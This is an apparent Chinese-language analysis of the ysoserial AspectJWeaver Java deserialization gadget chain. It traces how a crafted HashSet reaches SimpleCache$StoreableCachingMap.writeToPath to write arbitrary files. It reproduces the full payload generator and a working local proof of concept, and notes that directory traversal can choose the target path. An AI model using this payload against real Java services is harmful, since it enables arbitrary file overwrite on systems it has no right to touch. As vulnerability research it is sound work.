首先看yso的gadget chain
Gadget chain: HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()
能看出来最终达成的效果是任意文件写
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
cc3.2.2及以下,aspectjweaver及以下依赖,当然这是一个组合,可以分为两部分自然也可以拆开再找到其他可利用的进行组合
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
public Serializable getObject(final String command) throws Exception { int sep = command.lastIndexOf(';'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>"); } String[] parts = command.split(";"); String filename = parts[0]; byte[] content = Base64.decodeBase64(parts[1]); Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); Transformer ct = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; }
在java.util.HashSet#readObject函数末尾,调用了java.util.HashMap#put
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject(); // Read capacity and verify non-negative. int capacity = s.readInt(); if (capacity < 0) { throw new InvalidObjectException("Illegal capacity: " + capacity); } // Read load factor and verify positive and non NaN. float loadFactor = s.readFloat(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) { throw new InvalidObjectException("Illegal load factor: " + loadFactor); } // Read size and verify non-negative. int size = s.readInt(); if (size < 0) { throw new InvalidObjectException("Illegal size: " + size); } // Set the capacity according to the size and load factor ensuring that // the HashMap is at least 25% full but clamping to maximum capacity. capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f), HashMap.MAXIMUM_CAPACITY); // Constructing the backing map will lazily create an array when the first element is // added, so check it before construction. Call HashMap.tableSizeFor to compute the // actual allocation size. Check Map.Entry[].class since it's the nearest public type to // what is actually created. SharedSecrets.getJavaOISAccess() .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity)); // Create backing HashMap map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order. for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
为什么map是HashMap对象?可以看payload中HashSet的初始化
HashSet map = new HashSet(1);
对应的HashSet构造函数
public HashSet(int initialCapacity) { map = new HashMap<>(initialCapacity); }
HashMap.put参数是e和一个空对象
PRESENT空对象:
private static final Object PRESENT = new Object();
而e是调用java.io.ObjectInputStream#readObject从序列化数据中读取的TiedMapEntry对象,也就是payload中创建的
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
为什么java.io.ObjectInputStream#readObject从序列化数据中读出的是TiedMapEntry对象?
首先
而在 HashSet 的 writeObject()
方法中,会依次调用map也就是HashMap中每个元素的 writeObject()
方法来实现序列化
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out any hidden serialization magic s.defaultWriteObject(); // Write out HashMap capacity and load factor s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); // Write out size s.writeInt(map.size()); // Write out all elements in the proper order. for (E e : map.keySet()) s.writeObject(e); }
相应的,在反序列化过程中,会依次调用每个元素的 readObject()
方法,然后将其作为 key
(value 为固定值) 依次放入 HashMap 中
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ... // Read in all elements in the proper order. for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } }
所以这里的e就是HashMap中的元素,然后再看payload中的反射部分
Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry);
首先获取了HashSet的map属性值,也就是HashMap对象
然后再进一步获取HashMap对象中的table属性值,然后从table中获取索引0或1的对象,该对象为HashMap$Node
最后从HashMap$Node类中获取key这个field,并修改为tiedMapEntry(原本是通过java.util.HashSet#add添加的"foo"对象)
结合上面的readObject分析,可以知道此时e为构造好的tiedMapEntry对象
再看java.util.HashMap#put
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
调用了java.util.HashMap#hash,此时key为上文的TiedMapEntry对象
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
在继续调用了key对象的hashCode方法,即org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
往下调用了org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
public Object getValue() { return map.get(key); }
在getValue调用了map属性的get函数参数为key属性,map和key属性在构造函数时就已经初始化完成
public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; }
payload中构造TiedMapEntry的初始化
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
所以map此时为lazyMap对象,调用的org.apache.commons.collections.map.LazyMap#get,key为filename也就是输入的文件名
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
LazyMap的map属性是什么,可以先回到payload看LazyMap的构造
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); Transformer ct = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
LazyMap的初始化函数
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
调用构造函数
protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; }
这也是为什么payload中为什么content要创建Transformer对象
Transformer ct = new ConstantTransformer(content);
查看父类的构造函数
public AbstractMapDecorator(Map map) { if (map == null) { throw new IllegalArgumentException("Map must not be null"); } this.map = map; }
不为空就赋值map,而factory是由org.apache.commons.collections.functors.FactoryTransformer#getInstance获取到的,存储的是文件内容
所以此时的map为payload中的SimpleCache$StorableCachingMap且此时key不包含filename就会调用org.apache.commons.collections.functors.ConstantTransformer#transform获取了文件内容的字节流,在步入到
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put中,这里是这条链的关键
public Object put(Object key, Object value) { try { String path = null; byte[] valueBytes = (byte[])((byte[])value); if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) { path = "IDEM"; } else { path = this.writeToPath((String)key, valueBytes); } Object result = super.put(key, path); this.storeMap(); return result; } catch (IOException var6) { this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), var6); Dump.dumpWithException(var6); return null; } }
此时key为文件名,value为文件内容的字节流
首先判断了字节数组是否和SimpleCache.SAME_BYTES相等,这是一个常量
private static final byte[] SAME_BYTES = "IDEM".getBytes();
然后进入到org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath
private String writeToPath(String key, byte[] bytes) throws IOException { String fullPath = this.folder + File.separator + key; FileOutputStream fos = new FileOutputStream(fullPath); fos.write(bytes); fos.flush(); fos.close(); return fullPath; }
此时key为文件名,bytes为文件内容字节数组,folder是初始化时赋予的
private StoreableCachingMap(String folder, int storingTimer) { this.folder = folder; this.initTrace(); this.storingTimer = storingTimer; }
再看payload
Object simpleCache = ctor.newInstance(".", 12);
yso默认创建在当前文件夹(当然也可以自己进行目录穿越),然后直接将字节流写入文件中,达到了任意文件写的效果
从上面的分析可以知道payload大量的反射是为了将TiedMapEntry这个对象添加到HashSet的HashMap的元素中,那么为什么不直接通过HashSet.add()将TiedMapEntry添加到其中呢?
为了分析这个问题,首先在本地构造payload
public static void main(String[] args) throws Exception{ Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class); declaredConstructor.setAccessible(true); Object map = declaredConstructor.newInstance(".", 111); Transformer ct = new ConstantTransformer("test".getBytes(StandardCharsets.UTF_8)); Map lazyMap = LazyMap.decorate((Map) map,ct); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"1.txt"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output")); oos.writeObject(hashSet); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("output")); ois.readObject(); }
本地使用这段payload进行debug时能够发现,writeToPath被触发了两次
第一次的调用栈
writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache) put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache) get:152, LazyMap (org.apache.commons.collections.map) getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue) hash:339, HashMap (java.util) put:612, HashMap (java.util) add:220, HashSet (java.util) main:25, AspectJWeaver
也就是在构造payload的时候就在本地触发了文件写的操作,HashSet.add直接调用了HashMap的put方法
public boolean add(E e) { return map.put(e, PRESENT)==null; }
调用了HashMap的put方法此时的e是我们add的tiedMapEntry对象,和上文分析中readObject中获取的tiedMapEntry对象一样是构造好的,所以调用了java.util.HashMap#put后就完全一样走到文件写入的sink了
所以通过反射去将HashSet中HashMap的元素更改为tiedMapEntry对象可以避免非预期的文件写入